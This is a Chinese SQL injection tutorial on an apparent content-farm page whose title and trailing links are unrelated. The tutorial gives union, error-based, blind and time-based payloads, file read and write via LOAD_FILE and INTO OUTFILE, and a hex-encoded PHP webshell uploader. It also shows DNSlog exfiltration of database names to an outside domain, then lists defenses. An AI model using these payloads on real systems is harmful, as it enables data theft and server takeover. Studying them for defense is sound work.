当前位置: 首页 > news >正文

中国电商建站程序网页登不了wordpress

中国电商建站程序,网页登不了wordpress,福永外贸网站建设公司,江苏省住房和城乡建设厅网站漏洞原因 一些概念#xff1a; SQL#xff1a;用于数据库中的标准数据查询语言。 web分为前端和后端#xff0c;前端负责进行展示#xff0c;后端负责处理来自前端的请求并提供前端展示的资源。 而数据库就是存储资源的地方。 而服务器获取数据的方法就是使用SQL语句进…漏洞原因 一些概念 SQL用于数据库中的标准数据查询语言。 web分为前端和后端前端负责进行展示后端负责处理来自前端的请求并提供前端展示的资源。 而数据库就是存储资源的地方。 而服务器获取数据的方法就是使用SQL语句进行查询获取。 SQL注入所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中然后传递到sql服务器使其解析并执行的一种攻击手法 SQL可分为平台层注入和代码层注入。 平台层注入由于不安全的数据库配置或数据库平台的漏洞导致。 代码层注入程序员对输入没有细致地过滤从而执行了非法地数据查询。 原因在前后端数据的交互中前端的数据传到后台处理时没有做严格的判断导致其传入的数据拼接到SQL语句中被当成SQL语句的一部分执行从而导致数据库受损信息丢失。 总结版后台服务器接收相关参数未经过过滤直接带入数据库查询。 例子 比如这是一条前端URLhttps://blog.csdn.net/aboutus.php?id1 其后台sql语句$sql“SELECT 123 FROM abc WHERE id1 这条语句是采用拼接方式去对数据库内容进行查询的而且并未对用户在前端输入的内容做过滤并且用户对id这个参数可控本来程序员设计这条查询语句是希望通过它去快速查询数据库中abc表的某个内容并且回显到前端页面来的但是攻击者通过单引号’ 闭合数据库查询语句并且可以构造这样的恶意url:https://blog.csdn.net/aboutus.php?id-1 ’ select password from admin#去查询admin 用户的密码而非查询预先程序员所设计好的数据内容。 其中url中代表传值的意思id代表变量等号代表变量的值。 浏览器通常使用 ? 来表示GET方法传递参数而使用POST传递参数是不会显示到URL中的因此URL中含有说明就是使用GET方法传递参数。POST型注入和Cookie注入需要插件和工具才可进行。 过程 常见的注入方式 参数类型分类 数字型、字符型 注入手法分类 联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。 数字型 当输入的参数为整形时若存在注入漏洞则是数字型注入。 如https://blog.csdn.net/aboutus.php?id1 此时后台语句$sql“SELECT 123 FROM abc WHERE id1 检测方法URL输入 and 11 / and 12 报错则说明有注入 字符型 当输入参数为字符串时称为字符型注入。 它与数字型的区别数字型不需要单引号来闭合而字符串需要单引号来闭合。 例https://blog.csdn.net/aboutus.php?id1’ 此时后台语句$sql“SELECT 123 FROM abc WHERE id1 ’ ’ 此时多出了一个单引号破坏了原本的SQL语句结构数据库无法处理于是会报错证明这条语句成功被带进数据库查询,存在字符型注入。 此时通过 --把后面的单引号注释掉SQL语句也会形成闭合。 所以我们可以这样 ?id 1’ 攻击语句 -- 传入页面就变成了 select user from database where id ‘1’ 攻击语句 – ’ –起注释作用将后面的语句注释掉在url中相当于空格–是注释符号单行注释之所以要加号是因为–与单引号连在一起无法起注释作用因此必须把它们隔开 联合查询注入 联合查询适合于有显示位的注入即页面某个位置会根据我们输入的数据的变化而变化。 1.页面观察 输入id1和id2若页面中值有变化说明输入与数据库有交互 2.注入点判断 直接输入?id1’若有报错则存在注入开始判断可以从哪里注入?id2’12–页面显示不正常说明此处存在SQL注入注入点在引号。 接下来开始使用SQL语句进行攻击。 3.使用order by判断当前表的字段个数 例?id1 order by n -- 若n超过当前表的列数就会报错说明表中只有n-1列 4.判断显示位 判断显示位时要使用 ?id-1 或者改为0 让前面的select语句查询为空错误然后采用后面的select语句去查询 ?id-1’ union select 1,2,3 -- 观察页面在哪里回显我们的输入就可以用那个地方测试接下的语句。 5.爆数据库的名字 ?id1’ union select 1,database(),3 -- 在之前回显2的地方会回显database数据库的名字。 6.爆数据库中的表 ?id1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() -- 数据库语句懒得解释了。 7.爆表中的字段 ?id1’ union select 1,group_concat(column_name),3 from information_schema.column where table_schema’爆出来的数据库名‘ and table_name‘爆出来的表名’ -- 8.爆相应字段的所有数据 ?id-1’ union select 1,group_concat(id,’–‘,username,’–,password),3 from users -- 9.报错注入 含义就是在mysql中使用指定函数来制造报错查询的时候加一些格式错误的信息它会提示你格式错误可以在中间加入一些其他信息比如select database(),报错信息后面也会出现数据库信息. 10.报错注入利用数据库的报错信息得到数据库的内容。因此需要构造语句让数据库报错。 三种报错注入的方法 group by 重复健冲 and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a) --extractvalue()函数 ?id1 and extractvalue(1,concat(^,(select database()),^)) --//获取数据库名字extractvalue(xml_frag,xpath_expr) 函数接受两个参数第一个为XML标记内容也就是查询的内容第二个为XPATH路径也就是查询的路径。 如果没有匹配的内容不管出于何种原因只要路径有效并且查询的内容由正确嵌套和关闭的元素组成返回空字符串。 但如果路径写入错误格式就会报错并且返回我们写入的非法内容。 updatexml()函数 ?id1 and updatexml(1,conncat(^,(需要查询的内容),^)1) --updatexml(xml_target,xpath_expr,new_xml) 此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml然后返回更改的XML。 xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 或者找到多个匹配项则该函数返回原始 xml_targetXML片段。 所有三个参数都应该是字符串。与extractvalue()类似如果XPATH写入错误格式就会报错并且返回我们写入的非法内容。 floor()函数 floor(x)返回小于或等于x的最大整数。 回显注入 回显注入利用注入漏洞可以改变页面返回数据。 基于布尔的盲注 布尔盲注即在页面不显示数据只显示对错此时我们输入的语句让页面呈现两种状态相当于true和false根据这两种状态判断我们输入的语句是否查询成功。 因此需要构造判断语句根据页面是否回显证实猜想。 一般用到的函数 ascii()、 substr()、length()、exists()、concat()等。 **substr(strings|express,m,[n])**函数 strings|express 被截取的字符串或字符串表达式 m 从第m个字符开始截取 n 截取后字符串长度为n concat()函数concat ()方法用于连接两个或多个数组。用于输出在页面中。 步骤 判断数据库类型 数据库可能的类型 MySQL、 access、 SQL sever 、information_schema.tables、msysobjects、sysobjects 判断数据库名数据库名长度、每个ASCII值 判断库中的表名表的个数、每个表名的长度和表名的ASCII //猜测当前数据库中是否存在admin表 http://127.0.0.1/sqli/Less-5/?id1 and exists(select*from admin) -- 1判断当前数据库中表的个数 // 判断当前数据库中的表的个数是否大于5用二分法依次判断最后得知当前数据库表的个数为4 http://127.0.0.1/sqli/Less-5/?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3 --2判断每个表的长度 //判断第一个表的长度用二分法依次判断最后可知当前数据库中第一个表的长度为6 http://127.0.0.1/sqli/Less-5/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6 -- //判断第二个表的长度用二分法依次判断最后可知当前数据库中第二个表的长度为6 http://127.0.0.1/sqli/Less-5/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 1,1))6 --3判断每个表的每个字符的ascii值 //判断第一个表的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100 -- //判断第一个表的第二个字符的ascii值                http://127.0.0.1/sqli/Less-5/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))100 -- ......... 由此可判断出存在表 emails、referers、uagents、users 猜测users表中最有可能存在账户和密码所以以下判断字段和数据在 users 表中判断 判断表中的字段名字段个数、每个字段名长度、字段名的ASCII值 爆字段中的数据字段中的数据长度、数据的ASCII 1: 判断数据的长度 // 判断id字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id1 and length((select id from users limit 0,1))5 -- // 判断id字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id1 and length((select id from users limit 1,1))5 --2判断数据的ascii值 // 判断id字段的第一行数据的第一个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id1 and ascii(substr((select id from users limit  0,1),1,1))100 -- // 判断id字段的第二行数据的第二个字符的ascii值 http://127.0.0.1/sqli/Less-5/?id1 and ascii(substr((select id from users limit 0,1),2,1))100 -- ........... 基于时间的盲注 时间注入通过返回时间的长短判断。 如获取第一个字符的ascii码判断是否大于115不成立延时五秒返回。 补充 sleep(5)的意思是延迟五秒。 if(expr1,expr2,expr3) 若expr1的值为true则返回expr2的值如果expr1的值为false则返回expr3的值。 例 ?id1 and if(ascii(substr(database(),2,1)) 101,sleep(5),0) --此处就是判断数据库名字的第二个字母。 用法类似布尔盲注。 HTTP头注入 常见的SQL注入一般是通过请求参数或是表单进行注入而HTTP头注入是通过HTTP协议头部字段值进行注入。 条件 能够对请求头信息进行修改 修改的请求头信息能带入数据库进行查询 数据库没有对输入的请求信息做过滤 user-Agent注入 cookie注入 Referer注入 X-Forwarded-For注入 宽字节注入 DNSLog注入 前置知识 什么是dnslog dns服务主要是域名解析服务器将域名转换成ip时会生成一个日志主要记录什么时候请求解析什么域名映射出什么ip 但一般来说是看不到解析日志的但有开放的平台dnslog.cn UNC UNC全名universal naming convention通用命名规则。其实是网络上的资源的格式在Windows里使用。 mysql读写函数 mysql可以读写文件的。 配置 secure_file_priv的配置值分三种—— 指定文件夹读写导入导出只能发生在指定文件夹 不设置不允许执行 null无限制 读取文件过程 读文件LOAD_FILE() 限制只能本机的文件且文件有读取权限且字节数小于max_allowed_packet 判断文件有无读取权限 and (select count(*) from mysql.user)0 /*如果结果返回正常说明具有读写权限 如果返回错误应该是管理员给数据库账户降权。 如果文件不存在或者不能被读出函数返回空。在 windows 下如果 NTFS 设置得当是不能读取相关的文件的当遇到只有administrators 才能访问的文件users 就别想 load_file 出来。 用法select LOAD_FILE(‘E:\in.txt’); 两个难点 绝对的物理路径 构造有效的畸形语句报错出绝对路径 在很多 PHP 程序中当提交一个错误的 Query如果 display_errors on程序就会暴露 WEB 目录的绝对路径只要知道路径那么对于一个可以注入的 PHP 程序来说整个服务 器的安全将受到严重的威胁。 常用路径http://www.cnblogs.com/lcamry/p/5729087.html 读取示例 将文件导入进数据库 LOAD DATA INFILE语句用于高速从一个文本文件中读取行并装入一个表中。文件名称必须为一个文字字符串。 示例 load data infile /temp/t0.txt ignore into table t0 character set gbk fields terminated by \t lines terminated by \n 含义将/tmp/t0.txt 导入到 t0 表中character set gbk 是字符集设置为 gbkfields terminated by 是 每一项数据之间的分隔符lines terminated by 是行的结尾符。 注当错误代码是 2 的时候的时候文件不存在错误代码为 13 的时候是没有权限可以考虑 /tmp 等文件夹。 导入到文件 格式SELECT … INTO OUTFILE ‘file_name’ 可以把被选择的行写入一个文件中。该文件被创建到服务器主机上因此您必须拥有 FILE 权限才能使用此语法。file_name 不能是一个已经存在的文件。 两种利用形式 直接将select内容导入到文件中 select ... into outfile c:\\phpnow\\htdocs\\test.php /*此处的...可以是一个函数如version()也可以是一句话如:?php eval($_post[111]) ?,或者其他内容修改文件结尾 select version() into outfile c:\\phpnow\\htdocs\\test.php LINES TERMINATED BY 0x16解释select * from * limit 0,1 into outfile /wamp/www/tmpulujm.php’的意思是将内容输入到outfile中。 LINES TERMINATED BY则是into outfile的参数意思是行结尾的时候用by后面的内容通常的一般为‘/r/n’此处我们将by后的内容修改为后面的16进制的文件。16 进制可以为一句话或者其他任何的代码可自行构造。 例如 http://192.168.0.166/php/newsshow.php?cid-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE %2Fwamp%2Fwww%2Ftmpulujm.php LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -在 sqlmap 中 os-shell 采取的就是这样的方式具体可参考 os-shell 分析文章http://www.cnblogs.com/lcamry/p/5505110.html DNSlog注入 注入流程 把select LOAD_FILE()注入到数据库访问日志文件 UNC构建DNS服务器地址其实就是服务器子域名假装访问文件产生DNSLog select load_file(aaa.yourid.dnslog.cn/byh);四个斜杠其实本来只有两个还有两个是防止转义/byh不能缺少不然不是一个标准的路径把子域名替换成函数或者查询SQL select if((select load_file(concat(,database(),yourid.dnslog.cn/byh))),1,0);#其实就是把aaa换成了database()最后我们使用的平台就会显示解析日志在日志里就能看到查询的内容。 危害 数据库信息泄露用户隐私信息泄露 网页篡改通过操纵数据库对网页进行篡改 网站被挂马传播恶意软件修改数据库一些字段的值嵌入网马链接进行挂马攻击 数据库被恶意操作数据库服务器被攻击数据库的系统管理员账户被篡改 服务器被远程控制被安装后门经由数据库服务器提供的操作系统支持让黑客得以修改或控制操作系统 破环硬盘数据瘫痪全系统 防范SQL漏洞修复和防范方法 1、普通用户与系统管理员用户的权限要有严格的区分 2、 预编译如使用参数化语句和绑定变量。 3、 加强对用户输入的验证识别恶意内容过滤掉某些危险语句。 4、 多使用SQL Server数据库自带的安全参数。 5、 转义把用户的输入当成文本以及用斜杠来转义 6、数据库异常信息隐藏 6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。 7、设置陷阱账号 设置两个帐号一个是普通管理员帐号一个是防注入的帐号。将防注入的账号设置的很象管理员如 admin以制造假象吸引软件的检测而密码是大于千字以上的中文字符迫使软件分析账号的时候进入全负荷状态甚至资源耗尽而死机。 8、防火墙限制同IP时间、禁IP访问、黑名单 9、对密码之类的信息进行加密 10.禁用某些参数如secure file priv 免费领取安全学习资料包 渗透工具 技术文档、书籍   面试题 帮助你在面试中脱颖而出 视频 基础到进阶 环境搭建、HTMLPHPMySQL基础学习信息收集SQL注入,XSSCSRF暴力破解等等   应急响应笔记 学习路线
http://www.huolong8.cn/news/360221/

相关文章:

  • 做网站怎么实现在线支付企业网站的推广阶段和特点
  • access 网站后台优设网的特点
  • 模板网站的优势有哪些查域名是否注册
  • 襄阳哪里有做网站的设计师的招聘要求
  • 网站建设江西图片设计素材
  • 可口可乐公司的企业网站建设p2p理财网站开发流程
  • 深圳专业专业网站建设pc做网站服务器
  • 中国建设银行英语网站河南最近的新闻
  • 公司网站建设有用吗工业设计公司怎么收费
  • 公司门户网站开发用asp.net和access做的关于校园二手网站的论文
  • 代做设计网站好团购网站销售技巧
  • 有哪些网站可以做简历商业空间设计方案ppt
  • 做盗版视频网站吗阿里云虚拟机 wordpress
  • 购物网站是用什么软件做的企业级网站开发原理图
  • 老虎淘客系统可以做网站吗wordpress怎么安装主题
  • 购物网站排名西安华为公司
  • 北京到信阳网站关键词优化怎么做的
  • dede调用网站名称wordpress 多图
  • 上海微网站制作说说网站是怎样建设和推广的
  • wordpress 图书主题优化大师官网下载安装
  • 门户网站建设软件电商直播
  • 环保主题静态网站滁州网络推广公司
  • 手机移动端网站北京海淀科技有限公司
  • 网站正在备案中模板python不会的题去哪搜
  • 商机互联做网站怎么样wordpress卢松松模板
  • 雄安网站建设费用长沙网站建设网站推广微信营销
  • 北京公司网站制作流程福建外贸网站建设
  • 做网站好一点的公司影响网站速度的代码
  • 凡客网站建站教程中信建设有限责任公司投资部执行总监张鹏
  • 分析电子商务网站建设需求教案百度竞价排名推广